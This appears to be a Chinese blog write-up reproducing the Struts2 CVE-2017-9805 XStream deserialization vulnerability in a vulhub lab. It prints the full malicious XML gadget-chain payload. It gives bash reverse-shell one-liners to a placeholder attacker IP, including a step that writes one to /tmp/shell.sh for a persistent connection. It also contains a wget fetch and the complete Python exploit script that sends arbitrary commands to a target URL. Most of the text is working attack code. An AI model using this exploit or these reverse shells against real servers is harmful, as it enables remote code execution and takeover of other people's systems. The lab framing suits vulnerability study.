CVE-2017-9805
影响范围:
Struts 2.1.2 - 2.3.33
Struts 2.5 - 2.5.12
漏洞类型:
XML反序列化
操作系统限制:
无
配置要求:
默认配置
漏洞利用:
写入敏感文件,反弹shell获取服务器权限
利用原理:
Struts2框架对外部组件XStream插件默认使用XStream处理XML格式数据,可以将几乎任何XML标签映射为Java对象,攻击者在Java运行库寻找可以执行系统命令的类,由于XStream没有限制,攻击者可以构造特殊的XML,包含触发点、执行链、敏感命令
漏洞复现:
用现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-052
#拉取镜像
docker-compose up -d
访问http://公网:8080/orders

用burpsuite抓取http://公网:8080/orders/3/edit数据包

发送到Repeater模块

注入恶意XML代码,修改请求头,然后发送
#请求头改Content-Type: application/xml
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/ailx10</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
返回500,说明xml代码成功发送到服务器
进入容器内部查看tmp文件夹下的文件,发现能成功写入文件ailx10,说明xml恶意代码被执行

攻击机开启监听

wget下载攻击脚本,python3直接写入下面的兼容代码
#从gitub拉取脚本,脚本用python2运行
wget https://raw.githubusercontent.com/chrisjd20/cve-2017-9805.py/master/cve-2017-9805.py运行脚本,这里环境是python3,即用python3演示,参数是一样的
python3 cve-2017-9805_py3.py -u http://靶机ip:8080/orders/3 -c "bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1"虽然能连上,但是不稳定
可以写入sh脚本进靶机,再连接
#写入sh脚本
printf 'bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1' > /tmp/shell.sh
#给sh脚本赋权,可执行
chmod +x /tmp/shell.sh
#运行反弹shell脚本
/bin/bash /tmp/shell.sh
成功建立持久化连接

攻击脚本(https://github.com/chrisjd20/cve-2017-9805.py/blob/master/cve-2017-9805.py)
#python3兼容脚本,cve-2017-9805.py
#!/usr/bin/env python3
import requests
import argparse
import base64
import sys
import random
import re
from xml.dom.minidom import parseString
# Lambda function for creating random string
random_string = lambda num: ''.join(random.choice("QWERTYUIOPASDFGHJKLXZCVBNMqwertyuiopasdfghjklzxcvbnm1234567890") for _ in range(num))
# iterates over the elements in the template XML object and replaces with desired commands
def get_item_list(itemlist, encoded_command, the_match):
for item in itemlist:
for item2 in item.childNodes:
if item2.nodeValue == the_match:
item2.nodeValue = encoded_command
def main(url, command):
filename = "." + random_string(20) + '.tmp'
print('[+] Encoding Command')
# Python 3 base64 logic: encode string to bytes, then b64encode, then back to string
b64_command = base64.b64encode(command.encode('utf-8')).decode('utf-8')
# Construct the shell command that will be placed inside XML
# Using tee -a to write the decoded command to a file, then execute it
encoded_command = f'echo {b64_command} | base64 -d | tee -a /tmp/{filename} ; /bin/bash /tmp/{filename} ; /bin/rm /tmp/{filename}'
print('[+] Building XML object')
# The XML payload (ImageIO exploit chain)
payload_xml = (
'<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags>'
'<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">'
'<dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">'
'<is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher">'
'<initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator">'
'<iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/>'
'<next class="java.lang.ProcessBuilder"><command><string>/bin/bash</string><string>-c</string>'
'<string>COMMANDWILLGOHERE</string></command><redirectErrorStream>false</redirectErrorStream></next></iter>'
'<filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class>'
'<name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next>'
'</serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/>'
'<ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is>'
'<consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value>'
'</jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>'
'</entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>'
'<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>'
)
xml_exploit = parseString(payload_xml)
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
'Content-Type': 'application/xml'
}
itemlist = xml_exploit.getElementsByTagName('string')
print('[+] Placing command in XML object')
get_item_list(itemlist, encoded_command, "COMMANDWILLGOHERE")
print('[+] Converting Back to String')
# Convert back to bytes for the request
exploit_data = xml_exploit.toxml(encoding='utf-8')
print('[+] Making Post Request with our payload')
try:
response = requests.post(url, data=exploit_data, headers=header, timeout=15)
print(f'[+] Server returned status code: {response.status_code}')
print('[+] Payload sent.')
except Exception as e:
print(f'[-] Error: {e}')
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2017-9805 Struts RCE Exploit")
parser.add_argument('-u', '--url', type=str, required=True, help='Target URL (e.g. http://ip:8080/orders/3)')
parser.add_argument('-c', '--command', type=str, required=True, help='Command to execute')
args = parser.parse_args()
main(args.url, args.command)
本文链接:
/archives/cve-2017-9805
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
Johan的秘密小窝!
喜欢就支持一下吧